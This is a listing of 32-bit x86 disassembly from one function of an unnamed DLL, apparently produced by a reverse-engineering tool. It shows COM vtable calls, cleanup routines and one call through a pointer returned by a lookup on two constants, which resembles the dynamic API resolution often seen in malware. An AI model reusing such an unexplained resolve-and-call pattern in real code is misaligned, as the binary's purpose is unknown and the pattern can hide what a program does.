lea eax, [ebp - 0x1c4]
mov dword [ebp - 0x88], esi
push eax
mov edx, 0x509f
call fcn.1001b0f8
mov edx, dword [ebp - 0x88]
mov eax, ebx
mov edi, dword [ebp - 0x1c4]
add esp, 0x10
mov esi, dword [ebp - 0x16c]
mov dword [ebp - 0x1b8], edx
mov dword [ebp - 0x17c], ebx
mov dword [ebp - 0x180], eax
mov ecx, dword [esi]
lea ebx, [ebp - 0x17c]
push ebx
push edx
add eax, edi
push eax
push esi
call dword [ecx + 0xc]
test eax, eax
js 0x1001db96
push 1
mov eax, ebx
lea edx, [ebp - 0x180]
push eax
push ecx
call fcn.1001ac70
push 1
mov eax, ebx
lea ecx, [ebp - 0x1b8]
push 0x1a09
push eax
call fcn.1001b846
mov eax, dword [ebp - 0x180]
add esp, 0x18
cmp eax, dword [ebp - 0x88]
jae 0x1001db96
mov edx, dword [ebp - 0x1b8]
jmp 0x1001db42
xor ebx, ebx
lea eax, [ebp - 0x88]
push ebx
push ecx
push eax
push ecx
push ecx
lea eax, [ebp - 0x1c4]
mov ecx, 0x105a
push eax
lea edx, [ebp - 0x180]
call fcn.1001b93f
add esp, 0x18
push 1
push ecx
push 0x1a7d
push ecx
push ecx
push 0x2a71
mov edx, 0x2d8
lea ecx, [ebp - 0x16c]
call fcn.1001b93f
add esp, 0x18
mov eax, dword [ebp - 0x48]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea ecx, [ebp - 0x1e8]
mov dword [ebp - 0x48], ebx
call fcn.1000edd6
lea ecx, [ebp - 0x214]
call fcn.1000edd6
push ebx
push 1
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 4], 0x1e
call fcn.1000ea49
mov esi, 0x2c3b
push esi
push 0x3ed3
call fcn.1003ef9b
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x220]
lea eax, [ebp - 0x1c4]
push eax
call fcn.1001ddbe
push ebx
push 1
lea ecx, [ebp - 0x2e0]
call fcn.1000ea49
push ebx
push 1
lea ecx, [ebp - 0x2bc]
call fcn.1000ea49
lea ecx, [ebp - 0x1b0]
call fcn.10019d6c
lea ecx, [ebp - 0x1c4]
call fcn.10019fcd
lea ecx, [ebp + 8]
call fcn.10019d6c
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret